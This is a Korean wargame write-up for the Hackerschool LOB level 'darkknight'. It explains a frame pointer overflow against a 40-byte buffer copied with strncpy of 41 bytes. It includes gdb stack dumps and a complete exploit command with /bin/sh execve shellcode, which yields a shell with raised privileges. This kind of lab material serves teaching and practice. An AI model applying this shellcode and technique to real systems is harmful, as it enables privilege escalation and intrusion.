본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( golem -> darkknight ) by ORANG - FPO

LOB_golem



[golem@localhost golem]$ bash2

[golem@localhost golem]$ ls

darkknight  darkknight.c

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}


problem_child(argv[1]);

}



bash2부터 띄우고..

힌트를 보니 ‘FPO’가 있다. 찾아보니 Frame Pointer Overflow라고 합니다.

http://s2kiess.blog.me/220070346721 <- 참고


예전에 CTF문제를 풀다가 얼핏 본적이 있는데 FPO란 1바이트 오버플로를 이용한 방법입니다.

추가로 FPO의 흐름을 간단하게 설명을 하자면..

1) ebp의 마지막 1바이트를 오버플로해서 ebp를 특정 주소로 옮긴다. (sub함수 leave)

2) ret를 통해 원래함수로 돌아와 진행한다 (sub함수 ret) -> ebp는 여전히 조작된 주소에 존재

3) (main함수 leave)과정.. 으로 조작된 주소에 있는 ebp로 esp가 옮겨진다, 그리고 pop ebp

4) 현재 esp값은, 조작된 주소+4 가 된다. (main함수 ret)과정을 통해, pop eip가 되고

5) 결과적으로 “조작된 주소+4” 에 있는 주소값이 실행된다.


분석 해보면..


(gdb) b * problem_child+41

Breakpoint 1 at 0x8048469

(gdb) r `perl -e 'print "A"x40,"B"'`

Starting program: /home/golem/tmp/./darkknight `perl -e 'print "A"x40,"B"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB @

(gdb) x/40x $ebp-0x40

0xbffffa5c: 0xbffffa74 0x401081ec 0xbffffa9c 0x08048466

0xbffffa6c: 0x08048500 0xbffffa74 0x41414141 0x41414141

0xbffffa7c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa8c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa9c: 0xbffffa42 0x0804849e 0xbffffc07 0xbffffac8

0xbffffaac: 0x400309cb 0x00000002 0xbffffaf4 0xbffffb00

0xbffffabc: 0x40013868 0x00000002 0x08048390 0x00000000

0xbffffacc: 0x080483b1 0x0804846c 0x00000002 0xbffffaf4

0xbffffadc: 0x080482e4 0x080484dc 0x4000ae60 0xbffffaec

0xbffffaec: 0x40013e90 0x00000002 0xbffffbea 0xbffffc07


buf가 0xbffffa74에 존재합니다.

그리고 buf앞에는 0xbffffa74로, buf의 주소를 가리키는 주소가 보입니다.

nop+shellcode를 buf에 넣어주고, “\x6c”로 오버플로 시키면 ebp는 0xbffffa6c 가 되고,

main함수의 leave-ret과정에서 esp가 0xbffffa6c, 0xbffffa70 순서로 움직이고

pop eip에 의해 eip에 0xbffffa70에 있는값(0xbffffa74)가 저장된 후,

0xbffffa74 로 점프할 것을 예상할 수 있습니다.



[golem@localhost tmp]$ ./darkknight `perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x6c"'`

1Ph//shh/binPS°

                                    ̀l @

Segmentation fault (core dumped)




세폴이 떠서 core 덤프를 확인했습니다.




(gdb) x/40x 0xbffffa5c

0xbffffa5c: 0x08048500 0xbffffa64 0x90909090 0x90909090

0xbffffa6c: 0x90909090 0x31909090 0x2f6850c0 0x6868732f

0xbffffa7c: 0x6e69622f 0x5350e389 0xc289e189 0x80cd0bb0

0xbffffa8c: 0xbffffa6c 0x0804849e 0xbffffbfe 0xbffffab8

0xbffffa9c: 0x400309cb 0x00000002 0xbffffae4 0xbffffaf0

0xbffffaac: 0x40013868 0x00000002 0x08048390 0x00000000

0xbffffabc: 0x080483b1 0x0804846c 0x00000002 0xbffffae4

0xbffffacc: 0x080482e4 0x080484dc 0x4000ae60 0xbffffadc

0xbffffadc: 0x40013e90 0x00000002 0xbffffbf1 0xbffffbfe

0xbffffaec: 0x00000000 0xbffffc28 0xbffffc3c 0xbffffc53 



5c로 다시 공격해보면..



[golem@localhost golem]$ ./darkknight `perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x5c"'`

1Ph//shh/binPS°

                                    ̀\ @

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ my-pass

euid = 512

new attacker



성공!!